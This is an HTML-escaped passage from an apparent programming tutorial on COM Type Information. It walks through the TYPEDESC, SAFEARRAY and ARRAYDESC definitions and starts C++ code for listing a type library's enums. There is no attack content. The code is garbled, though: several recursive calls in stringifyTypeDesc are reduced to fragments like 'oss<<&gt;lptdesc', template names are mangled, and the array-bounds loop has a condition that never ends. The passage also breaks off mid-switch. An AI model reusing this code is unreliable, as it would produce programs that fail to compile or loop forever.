&lt;strong&gt;TYPEDESC&lt;/strong&gt;.  Things will get complicated here.  Much of the criticism of the COM Type Information interfaces is a result of the loony design of &lt;strong&gt;TYPEDESC&lt;/strong&gt;.  However once you figure out its designs, it isn't &lt;em&gt;that&lt;/em&gt; bad to work with.&lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bgcolor="#f2f2f2" border="0" cellpadding="0" cellspacing="3" width="85%"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;strong&gt;&lt;small&gt;from OAIDL.IDL&lt;/small&gt;&lt;/strong&gt;&lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;typedef&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;struct&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; tagTYPEDESC {&lt;br /&gt;        [&lt;span style="color:#0000ff;"&gt;switch_type&lt;/span&gt;(VARTYPE), &lt;span style="color:#0000ff;"&gt;switch_is&lt;/span&gt;(vt)] &lt;span style="color:#0000ff;"&gt;union&lt;/span&gt; {&lt;br /&gt;            [&lt;span style="color:#0000ff;"&gt;case&lt;/span&gt;(VT_PTR,     VT_SAFEARRAY)] &lt;span style="color:#0000ff;"&gt;struct&lt;/span&gt; tagTYPEDESC * lptdesc;&lt;br /&gt;            [&lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(VT_CARRAY)] &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;struct&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; tagARRAYDESC *     lpadesc;&lt;br /&gt;            [&lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(VT_USERDEFINED)] HREFTYPE hreftype;&lt;br /&gt;            [&lt;span style="color:#0000ff;"&gt;default&lt;/span&gt;] ;&lt;br /&gt;        };&lt;br /&gt;        VARTYPE vt;&lt;br /&gt;    } TYPEDESC;&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Fortunately IDL makes the intent of unions pretty clear.  Let's see here, if &lt;strong&gt;TYPEDESC::vt&lt;/strong&gt; is VT_PTR or VT_SAFEARRAY, then &lt;strong&gt;TYPEDESC::lptdesc&lt;/strong&gt; is a valid pointer to a...  &lt;strong&gt;TYPEDESC&lt;/strong&gt; structure.  Oh hell.  A recursively defined structure.  For convienence, we name our original &lt;strong&gt;VARDESC&lt;/strong&gt; structure &lt;strong&gt;varDesc&lt;/strong&gt;.  We grab a reference to the first contained &lt;strong&gt;TYPEDESC:&lt;/strong&gt; &lt;strong&gt;TYPEDESC&amp;amp; typeDesc = varDesc.elemdescVar.tdesc&lt;/strong&gt;.  If &lt;strong&gt;typeDesc.vt&lt;/strong&gt; is VT_PTR, then &lt;strong&gt;varDesc&lt;/strong&gt; describes a pointer to type &lt;strong&gt;typeDesc-&gt;lptdesc&lt;/strong&gt;.  If &lt;strong&gt;typeDesc-&gt;lptdesc.vt&lt;/strong&gt; equals VT_I4, for example, then we have a type description for a &lt;strong&gt;long*&lt;/strong&gt; element.  Automation-compatible types are by value or by a single reference, so they won't lead you down more than one level of indirection via VT_PTR values (a single VT_PTR is basically equivalent to the VARIANT VT_BYREF flag).  Of course not all types are Automation-compatible.  If you don't care about &lt;strong&gt;IDispatch&lt;/strong&gt; and program only a custom interface (like most C++ programmers do), your types can be arbitrarily complex.  The &lt;strong&gt;TYPEDESC&lt;/strong&gt; structure won't hold you back.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;&lt;strong&gt;typeDesc.vt&lt;/strong&gt; equaling VT_SAFEARRAY also sets up a special case.&lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bgcolor="#f2f2f2" border="0" cellpadding="0" cellspacing="3" height="477" width="85%"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td height="473" width="100%"&gt;&lt;small&gt;&lt;strong&gt;from OAIDL.IDL&lt;/strong&gt;&lt;/small&gt;&lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;typedef&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;struct&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     tagSAFEARRAYBOUND {&lt;br /&gt;        ULONG cElements;&lt;br /&gt;        LONG lLbound;&lt;br /&gt;    } SAFEARRAYBOUND, * LPSAFEARRAYBOUND;&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;     &lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;typedef&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;struct&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     tagSAFEARRAY {&lt;br /&gt;        USHORT cDims;&lt;br /&gt;        USHORT fFeatures;&lt;br /&gt;        ULONG cbElements;&lt;br /&gt;        ULONG cLocks;&lt;br /&gt;        PVOID pvData;&lt;br /&gt;        SAFEARRAYBOUND rgsabound[];&lt;br /&gt;    } SAFEARRAY;&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;     &lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;const&lt;/span&gt; USHORT FADF_AUTO           = 0x0001;  &lt;span style="color:#007d0a;"&gt;/* array is allocated     on the stack */&lt;/span&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT FADF_STATIC     = 0x0002;  &lt;span style="color:#007d0a;"&gt;/* array     is staticly allocated */&lt;/span&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT FADF_EMBEDDED   = 0x0004;  &lt;span style="color:#007d0a;"&gt;/* array is     embedded in a structure */&lt;/span&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT FADF_FIXEDSIZE  = 0x0010;  &lt;span style="color:#007d0a;"&gt;/* may not be resized or     reallocated */&lt;/span&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT FADF_RECORD     = 0x0020;  &lt;span style="color:#007d0a;"&gt;/* an     array of records */&lt;/span&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT FADF_HAVEIID    = 0x0040;  &lt;span style="color:#007d0a;"&gt;/* with     FADF_DISPATCH, FADF_UNKNOWN */&lt;br /&gt;                                                /* array has an IID for interfaces */&lt;/span&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT FADF_HAVEVARTYPE= 0x0080;  &lt;span style="color:#007d0a;"&gt;/* array has a VT type */&lt;/span&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT FADF_BSTR       = 0x0100;  &lt;span style="color:#007d0a;"&gt;/*     an array of BSTRs */&lt;/span&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT FADF_UNKNOWN    = 0x0200;  &lt;span style="color:#007d0a;"&gt;/* an array of     IUnknown* */&lt;/span&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT FADF_DISPATCH   = 0x0400;  &lt;span style="color:#007d0a;"&gt;/* an array of     IDispatch* */&lt;/span&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT FADF_VARIANT    = 0x0800;  &lt;span style="color:#007d0a;"&gt;/* an array of     VARIANTs */&lt;/span&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT FADF_RESERVED   = 0xF008;  &lt;span style="color:#007d0a;"&gt;/* reserved bits */&lt;/span&gt;&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;&lt;strong&gt;SAFEARRAY&lt;/strong&gt; is a structure for storing arrays of arbitrary complexity.  Not only does it allow multidimensional arrays, but it provides a &lt;strong&gt;SAFEARRAYBOUND&lt;/strong&gt; instance for each dimension to describe the starting index (unlike C++ arrays, &lt;strong&gt;SAFEARRAY&lt;/strong&gt;s don't have to be zero-based) and number of elements.  The &lt;strong&gt;SAFEARRAY&lt;/strong&gt; and &lt;strong&gt;SafeArrayXXXX&lt;/strong&gt; COM runtime methods are documented in the Automation Programmer's Guide.  If &lt;strong&gt;typeDesc.vt&lt;/strong&gt; contains VT_SAFEARRAY, then the &lt;strong&gt;varDesc&lt;/strong&gt; instance describes a type &lt;strong&gt;SAFEARRAY(typeDesc-&gt;lptdesc)&lt;/strong&gt;.  &lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bgcolor="#f2f2f2" border="0" cellpadding="0" cellspacing="3" width="85%"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;small&gt;&lt;strong&gt;from OAIDL.IDL&lt;/strong&gt;&lt;/small&gt;&lt;p&gt;&lt;span style="font-family:Courier New;"&gt;&lt;small&gt;&lt;span style="color:#0000ff;"&gt;typedef struct&lt;/span&gt; tagARRAYDESC {&lt;br /&gt;        TYPEDESC tdescElem;                                  &lt;span style="color:#007d0a;"&gt;/* element type */&lt;/span&gt;&lt;br /&gt;        USHORT cDims;                                        &lt;span style="color:#007d0a;"&gt;/* dimension count */&lt;/span&gt;&lt;br /&gt;        [&lt;span style="color:#0000ff;"&gt;size_is&lt;/span&gt;(cDims)] SAFEARRAYBOUND     rgbounds[];  &lt;span style="color:#007d0a;"&gt;/* var len array of bounds */&lt;/span&gt;&lt;br /&gt;    } ARRAYDESC;&lt;/small&gt;&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;&lt;strong&gt;typeDesc.vt&lt;/strong&gt; equaling VT_CARRAY makes &lt;strong&gt;typeDesc.lpadesc&lt;/strong&gt; a valid &lt;strong&gt;ARRAYDESC&lt;/strong&gt; pointer.  This structure is essentially a watered down &lt;strong&gt;SAFEARRAY&lt;/strong&gt;.  The main difference is that while the dimensions and elements of a &lt;strong&gt;SAFEARRAY&lt;/strong&gt; can be defined at runtime, VT_CARRAY is stricly a compile time mechanism.  If &lt;strong&gt;typeDesc.vt&lt;/strong&gt; equals VT_CARRAY, &lt;strong&gt;varDesc&lt;/strong&gt; describes an array of &lt;strong&gt;typeDesc-&gt;lpadesc.tdescElem&lt;/strong&gt; with dimension &lt;strong&gt;typeDesc-&gt;lpadesc.cDims&lt;/strong&gt;.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;If &lt;strong&gt;typeDesc.vt&lt;/strong&gt; is not VT_PTR, VT_SAFEARRAY, VT_CARRAY, or VT_USERDEFINED, it holds a real VARIANT type.  This is the terminating condition of the recursive definition of &lt;strong&gt;TYPEDESC&lt;/strong&gt;.  These VARIANT types are the primitives from which all arrays and user-defined types are built from.  Speaking of user-defined types, the &lt;strong&gt;TYPEDESC&lt;/strong&gt; union switch has a case for VT_USERDEFINED.  Let's investigate that now (by the way, we are still exploring the mechanisms used to display the values of an enumeration.  We're just taking the scenic route).&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;&lt;strong&gt;typeDesc.hreftype&lt;/strong&gt; is valid if &lt;strong&gt;typeDesc.vt&lt;/strong&gt; holds VT_USERDEFINED.  As we've already discovered, passing an &lt;strong&gt;HREFTYPE&lt;/strong&gt; to &lt;strong&gt;ITypeInfo::GetRefTypeInfo&lt;/strong&gt; produces an &lt;strong&gt;ITypeInfo&lt;/strong&gt; pointer describing the referenced type.  When presented with a new &lt;strong&gt;ITypeInfo&lt;/strong&gt; pointer, it's a good idea to retrieve the &lt;strong&gt;TYPEATTR&lt;/strong&gt; structure.  This indicates not just the number of variables or functions, but the &lt;strong&gt;TYPEKIND&lt;/strong&gt; of the type description.  If the type kind indicates a union, structure, enum, or typedef, you need to hack at yet another &lt;strong&gt;TYPEATTR&lt;/strong&gt; structure.  That's just great.  Is there at least an easy way to retrieve the name of the described type?  &lt;strong&gt;ITypeInfo::GetNames&lt;/strong&gt; needs a MEMBERID, which we don't have (the MEMBERID is literally for members of the type - methods and values).  &lt;strong&gt;ITypeInfo::GetDocumentation&lt;/strong&gt; also needs a MEMBERID.  &lt;strong&gt;ITypeLib::GetDocumentation&lt;/strong&gt; only needs the library's index of the type, which we can acquire with a call to &lt;strong&gt;ITypeInfo::GetContainingTypeLib&lt;/strong&gt;.  While the &lt;strong&gt;ITypeInfo::GetContainingTypeLib&lt;/strong&gt; / &lt;strong&gt;ITypeLib::GetDocumentation&lt;/strong&gt; pair will retrieve our type's name, it's too much work.  The mad programmer helped us out a bit here - we can pass -1 as the MEMBERID to &lt;strong&gt;ITypeInfo::GetDocumentation&lt;/strong&gt; to procure our type's name, help string, and help file context.  What a great time!&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Hopefully you have a sense of the flexibility of COM Type Information; items of arbitrary complexity can be defined, but at the cost of increased programmer aggravation.  We've covered the &lt;strong&gt;ELEMDESC&lt;/strong&gt; structure pretty thoroughly now.   Let's finish our program for displaying the enumerated types of a type library.  "But wait!" you protest.  Can enums in a COM type library be of any type allowed by the &lt;strong&gt;TYPEDESC&lt;/strong&gt; structure?  Actually, no.  As the MIDL documentation explains, "Objects of type &lt;b&gt;enum&lt;/b&gt; are &lt;b&gt;int&lt;/b&gt; types, and their size is system-dependent."  So why would I go through all the trouble of recursing around &lt;strong&gt;TYPEDESC&lt;/strong&gt; when all I'll come up with is an int?  The ultimate goal of the programmer is to write as little code as he possibly can.  If one function can serve many purposes, he's done a good job with that function.  The information we get from &lt;strong&gt;TYPEDESC&lt;/strong&gt; is nontrivial for unions, structures, typedefs, and (disp)interface methods.  This procedure will be invoked from the function to process &lt;strong&gt;VARDESC&lt;/strong&gt; structures (which describe unions, structures, and enums) as well.  Given just a &lt;strong&gt;VARDESC&lt;/strong&gt; pointer, there is no way to determine if you are working with a type description for an enum, structure, or union.  Therefore, we call the procedure for processing &lt;strong&gt;TYPEDESC&lt;/strong&gt;s for all three variable types.  It just makes for cleaner, more reusable code.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Let's write our program for displaying all the enumerated types (and their values) in a type library.  The amazing part about this code is that with only a trivial change, you can adapt the code to display the structures or unions in a type library instead.  I'll make comments about the source after every function.&lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bgcolor="#f2f2f2" border="0" cellpadding="0" cellspacing="3" width="85%"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;#include&lt;/span&gt;     &lt;windows.h&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;#include&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;atlbase.h&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;#include&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;iostream&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;#include&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;sstream&gt;&lt;br /&gt;   &lt;br /&gt;    std::string stringifyCustomType(HREFTYPE refType, ITypeInfo* pti) {&lt;br /&gt;        CComPtr&lt;itypeinfo&gt; pTypeInfo(pti);&lt;br /&gt;        CComPtr&lt;itypeinfo&gt; pCustTypeInfo;&lt;br /&gt;        HRESULT hr(pTypeInfo-&gt;GetRefTypeInfo(refType, &amp;amp;pCustTypeInfo));&lt;br /&gt;        &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt;(hr) &lt;span style="color:#0000ff;"&gt;return&lt;/span&gt;     "UnknownCustomType";&lt;br /&gt;        CComBSTR bstrType;&lt;br /&gt;        hr = pCustTypeInfo-&gt;GetDocumentation(-1, &amp;amp;bstrType, 0, 0, 0);&lt;br /&gt;        &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt;(hr) &lt;span style="color:#0000ff;"&gt;return&lt;/span&gt;     "UnknownCustomType";&lt;br /&gt;        &lt;span style="color:#0000ff;"&gt;char&lt;/span&gt; ansiType[MAX_PATH];&lt;br /&gt;        WideCharToMultiByte(CP_ACP, 0, bstrType, bstrType.Length() + 1, &lt;/span&gt;&lt;/small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;br /&gt;            ansiType, MAX_PATH, 0, 0);&lt;br /&gt;    &lt;small&gt;    &lt;span style="color:#0000ff;"&gt;return&lt;/span&gt; ansiType;&lt;/small&gt;&lt;br /&gt;    }&lt;/span&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;The &lt;strong&gt;stringifyCustomType&lt;/strong&gt; function is very simple (just the way I like it).  Passed an &lt;strong&gt;HREFTYPE&lt;/strong&gt; and an &lt;strong&gt;ITypeInfo&lt;/strong&gt; pointer, &lt;strong&gt;stringifyCustomType&lt;/strong&gt; invokes &lt;strong&gt;ITypeInfo::GetRefTypeInfo&lt;/strong&gt; to procure the type description of the custom type.  &lt;strong&gt;ITypeInfo::GetDocumentation&lt;/strong&gt; on this type description is passed -1, specifying that the name of the type is wanted.   The result is returned as an &lt;strong&gt;std::string&lt;/strong&gt;.  The next function does a significant amount of work, and is probably bugged as hell :-O&lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bgcolor="#f2f2f2" border="0" cellpadding="0" cellspacing="3" width="85%"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;std::string stringifyTypeDesc(TYPEDESC*     typeDesc, ITypeInfo* pTypeInfo) {&lt;br /&gt;        std::ostringstream oss;&lt;br /&gt;        &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt;(typeDesc-&gt;vt == VT_PTR) {&lt;br /&gt;            oss&lt;&lt;&gt;lptdesc, pTypeInfo)&lt;&lt; &lt;span style="color:#ff0000;"&gt;'*'&lt;/span&gt;;&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; oss.str();&lt;br /&gt;        }&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(typeDesc-&gt;vt == VT_SAFEARRAY) {&lt;br /&gt;            oss&lt;&lt; &lt;span style="color:#ff0000;"&gt;"SAFEARRAY("&lt;/span&gt;&lt;br /&gt;                &lt;&lt;&gt;lptdesc, pTypeInfo)&lt;&lt; &lt;span style="color:#ff0000;"&gt;')'&lt;/span&gt;;&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; oss.str();&lt;br /&gt;        }&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(typeDesc-&gt;vt == VT_CARRAY) {&lt;br /&gt;            oss&lt;&lt;&gt;lpadesc-&gt;tdescElem, pTypeInfo);&lt;br /&gt;            &lt;span style="color:#0000ff;"&gt;for&lt;/span&gt;(&lt;span style="color:#0000ff;"&gt;int&lt;/span&gt; dim(0); typeDesc-&gt;lpadesc-&gt;cDims; ++dim)&lt;br /&gt;                oss&lt;&lt; &lt;span style="color:#ff0000;"&gt;'['&lt;/span&gt;&lt;&lt;&gt;lpadesc-&gt;rgbounds[dim].lLbound&lt;&lt; &lt;span style="color:#ff0000;"&gt;"..."&lt;/span&gt;&lt;br /&gt;                        &lt;&lt; (typeDesc-&gt;lpadesc-&gt;rgbounds[dim].cElements +&lt;br /&gt;                        typeDesc-&gt;lpadesc-&gt;rgbounds[dim].lLbound - 1)&lt;&lt; &lt;span style="color:#ff0000;"&gt;']'&lt;/span&gt;;&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; oss.str();&lt;br /&gt;        }&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(typeDesc-&gt;vt == VT_USERDEFINED) {&lt;br /&gt;            oss&lt;&lt;&gt;hreftype, pTypeInfo);&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; oss.str();&lt;br /&gt;        }&lt;br /&gt;       &lt;br /&gt;        &lt;span style="color:#0000ff;"&gt;switch&lt;/span&gt;(typeDesc-&gt;vt) {&lt;br /&gt;            &lt;span style="color:#007d0a;"&gt;// VARIANT/VARIANTARG     compatible types&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:#0000ff;"&gt;case&lt;/span&gt; VT_I2: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"short"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_I4: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"long"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_R4: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"float"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_R8: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"double"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_CY: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"CY"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_DATE: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"DATE"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_BSTR: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"BSTR"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_DISPATCH: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"IDispatch*"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_ERROR: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"SCODE"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_BOOL: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"VARIANT_BOOL"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_VARIANT: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"VARIANT"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_UNKNOWN: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"IUnknown*"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_UI1: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"BYTE"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_DECIMAL: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"DECIMAL"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_I1: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"char"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_UI2: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"USHORT"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_UI4: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"ULONG"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier 